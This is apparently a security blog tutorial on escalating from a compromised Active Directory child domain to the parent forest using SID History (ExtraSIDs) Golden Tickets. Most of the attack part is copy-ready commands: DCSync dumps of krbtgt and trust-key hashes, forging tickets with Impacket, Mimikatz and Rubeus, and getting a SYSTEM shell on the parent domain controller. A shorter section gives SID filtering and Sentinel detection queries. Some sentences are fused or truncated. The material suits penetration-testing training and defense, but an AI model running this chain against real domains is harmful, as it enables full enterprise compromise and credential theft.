Master Active Directory intra-forest trust exploitation. Learn how child domain compromise leads to full parent forest escalation via SID History injection (ExtraSIDs), Kerberos Golden Ticket
A hands-on masterclass covering Active Directory Kerberos delegation attacks: Unconstrained, Constrained (S4U2Self/S4U2Proxy), and Resource-Based Constrained Delegation (RBCD) exploitation, I
25 min read
Active Directory Fundamentals, Kerberos Authentication, Domain Admin Privileges in Child Domain, Kali Linux / Impacket / Mimikatz.
Impacket (ticketer.py, secretsdump.py, psexec.py), Mimikatz, Rubeus, NetExec, PowerShell AD Module, Microsoft Sentinel.
Understand AD Forest trust boundaries & SID filtering mechanics. 2. Extract KRBTGT NTLM hashes and domain trust keys via DCSync. 3. Inject ExtraSIDs into Golden Tickets using Impacket & Mi
Author: Syed Zada Abrar (Invisibl3Sentinel)
Published: September 6, 2026
Category: Active Directory Security / Enterprise Pentesting
Difficulty: Advanced
Prerequisites: Active Directory Fundamentals, Kerberos Authentication, Domain Administrator Privileges in a Child Domain, Kali Linux / Impacket / Mimikatz / Rubeus toolsets.
In enterprise Active Directory (AD) environments, organizations frequently construct multi-domain hierarchies—such as corp.internal (parent root domain) and uk.corp.internal (child domain)—to manage regional operations or administrative boundaries. A widespread architectural misconception among IT administrators is that a domain is an isolation boundary.
Microsoft’s official security specification explicitly defines the Forest as the only security boundary in Active Directory. Whenever a child domain is joined to a parent domain, Active Directory automatically creates a two-way, transitive, intra-forest trust. By default, intra-forest trusts turn off or relax SID Filtering to allow seamless cross-domain resource administration.
+-------------------------------------------------------------------------+
| PARENT ROOT DOMAIN |
| (corp.internal) |
| Domain SID: S-1-5-21-3842939050-3880317879-2865463114 |
| Enterprise Admins Group RID: 519 |
+-------------------------------------------------------------------------+
^
| Automatic 2-Way Transitive Trust
| (SID Filtering Disabled by Default)
v
+-------------------------------------------------------------------------+
| CHILD DOMAIN |
| (uk.corp.internal) |
| Domain SID: S-1-5-21-2806153819-209893948-922872689 |
| Attacker Status: Compromised Domain Admin (RID 500/512) |
+-------------------------------------------------------------------------+
When an attacker compromises Domain Administrator privileges within a child domain:
KRBTGT account NTLM hash or AES key via DCSync.Parent Domain SID + -519).ticketer.py, Mimikatz, or Rubeus, the attacker forges a Kerberos Ticket Granting Ticket (TGT) for the child domain and injects the parent domain's Enterprise Admins SID into the sIDHistory (ExtraSIDs) attribute of the ticket.sIDHistoryThe sIDHistory attribute was introduced by Microsoft to facilitate seamless domain migrations (e.g., migrating users from legacy.com to corp.com). When a user account moves to a new domain, their previous Security Identifier (SID) is recorded in sIDHistory. When authenticating, the Key Distribution Center (KDC) reads sIDHistory and embeds those SIDs into the user's Authorization Data (PAC - Privilege Attribute Certificate), preserving legacy permissions.
sIDHistory is passed through the domain boundary unchecked.sIDHistory unless explicit exemptions (such as TREAT_AS_EXTERNAL flags or SID filtering relaxation) exist.Before executing the exploit chain, we must verify the trust topology, trust flags, and target SIDs.
Utilize netexec (or crackmapexec) from Kali Linux to list active domain trusts and identify parent controllers:
# Enumerate Domain Trust Relationships
netexec smb 172.16.5.240 -u 'uk_admin' -p 'P@ssword123!' -d 'uk.corp.internal' --trusts
# Retrieve Domain SIDs via Impacket's lookupsid.py
lookupsid.py uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 | grep -E "(Domain SID|Enterprise Admins)"
From a compromised Windows host within the child domain, query trust attributes using PowerView or native ActiveDirectory modules:
# Enumerate Domain Trusts via Native PowerShell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# Enumerate Trust Details with PowerView
Get-DomainTrust -Domain uk.corp.internal
# Retrieve Child Domain SID
Get-DomainSID
# Retrieve Parent Domain SID (Querying Parent DC directly)
Get-DomainSID -Domain corp.internal
To forge cross-domain Kerberos tickets, we require three critical pieces of data:
KRBTGT Hash: NTLM hash or AES256 key of the child domain krbtgt account.S-1-5-21-2806153819-209893948-922872689-519 (e.g., S-1-5-21-3842939050-3880317879-2865463114-519)KRBTGT Hash via DCSyncUsing impacket-secretsdump from Kali Linux:
# Execute DCSync against Child Domain Controller
impacket-secretsdump uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 -just-dc-user UK/krbtgt
Example Output:
[*] Dumping Domain Credentials (vols)
[*] Press help for extra shell commands
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
ticketer.py)Using ticketer.py, forge a TGT for an arbitrary user (e.g., hacker), injecting the Enterprise Admins SID into the -extra-sid flag:
impacket-ticketer \
-nthash 9d765b482771505cbe97411065964d5f \
-domain uk.corp.internal \
-domain-sid S-1-5-21-2806153819-209893948-922872689 \
-extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \
-user hacker \
hacker_ea.ccache
Export the credential cache into the environment and launch administrative commands against the Parent DC (dc01.corp.internal / 172.16.5.5):
# Export Kerberos Ticket Cache
export KRB5CCNAME=$(pwd)/hacker_ea.ccache
# Verify Ticket Cache Information
klist
# Execute DCSync on Parent Root Domain Controller via Pass-The-Ticket
impacket-secretsdump -k -no-pass corp.internal/hacker@dc01.corp.internal -just-dc-user CORP/administrator
# Obtain Interactive SYSTEM Shell on Parent DC
impacket-psexec -k -no-pass corp.internal/hacker@dc01.corp.internal
:: Launch Mimikatz with Administrative Rights
mimikatz.exe
:: Forge Golden Ticket with ExtraSID and Inject into Current LSA Session
kerberos::golden /user:hacker /domain:uk.corp.internal /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /krbtgt:9d765b482771505cbe97411065964d5f /ptt
:: Access Parent DC C$ Share
dir \\dc01.corp.internal\c$
:: Forge TGT and Import directly into Memory
Rubeus.exe golden /user:hacker /domain:uk.corp.internal /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /rc4:9d765b482771505cbe97411065964d5f /ptt
:: Verify Kerberos Tickets in Memory
klist
In hardened environments where the krbtgt account hash is frequently rotated or closely monitored, an attacker who has compromised the child DC can extract the Interdomain Trust Key (DOLLARS$ trust account password hash) instead of krbtgt.
Extract the trust account hash for CORP$ (the trust relationship object) using secretsdump:
impacket-secretsdump uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 -just-dc-user 'CORP$'
Use ticketer.py with the -interdomain flag:
impacket-ticketer \
-nthash e564c7d0d0879e6027a42b9d885a53e6 \
-domain uk.corp.internal \
-domain-sid S-1-5-21-2806153819-209893948-922872689 \
-extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \
-user hacker \
-interdomain \
interrealm_tgt.ccache
Because the Interdomain Trust Key is shared directly between the child DC and parent DC, presenting this referral ticket to the parent DC allows the attacker to request TGS service tickets for parent resources without ever touching the child domain's krbtgt account!
Security engineers and SOC teams must deploy multi-layered detection strategies to identify ExtraSIDs attacks and enforce strict trust isolation.
To prevent SID History manipulation across trust boundaries, enforce SID filtering via netdom:
:: Enable SID Filtering on Specific Trust (Run on Parent DC)
netdom trust uk.corp.internal /domain:corp.internal /enableSIDFiltering:yes
:: Verify Trust SID Filtering Status
netdom trust uk.corp.internal /domain:corp.internal /verify
sIDHistory AttributesScan all domain users for non-empty sIDHistory attributes to catch persistent backdoors:
# Audit Users with Active sIDHistory
Get-ADUser -Filter 'sidhistory -like "*"' -Properties sidhistory | Select-Object Name, SamAccountName, SID, @{N="SIDHistory";E={$_.sidhistory -join ","}}
Event ID 4765 is generated whenever sIDHistory is added to a user object in Active Directory.
SecurityEvent
| where EventID == 4765
| project TimeGenerated, Computer, Account, TargetUserName, SubjectUserName, Activity, EventData
| extend AddedSID = extract(@"SidHistory\s+=\s+([^\s]+)", 1, EventData)
| summarize Count=count() by TargetUserName, AddedSID, SubjectUserName, bin(TimeGenerated, 1h)
Detect Kerberos TGT requests containing SIDs outside the issuing domain namespace (Event ID 4768 / 4769):
SecurityEvent
| where EventID in (4768, 4769)
| where TicketOptions contains "0x40800000" or ServiceName startswith "krbtgt/"
| extend TargetSid = extract(@"TargetSid\s+=\s+([^\s]+)", 1, EventData)
| where TargetSid endswith "-519" or TargetSid endswith "-512"
| project TimeGenerated, Computer, TargetUserName, ServiceName, TicketEncryptionType, IpAddress
krbtgt hash rotation.sIDHistory attributes, and enforce SID Filtering across all external and inter-forest trust boundaries.A comprehensive technical breakdown of Active Directory Certificate Services (ADCS) security architecture, analyzing ESC1/ESC8 misconfigurations, PowerShell auditing, enterprise hardening, an
15 min read
Complete practical lab guide to LLMNR/NBT-NS poisoning, NetNTLMv2 hash cracking with Hashcat rules, NTLM relaying to SMB/LDAP via ntlmrelayx, and Enterprise SIEM detection.
120 min read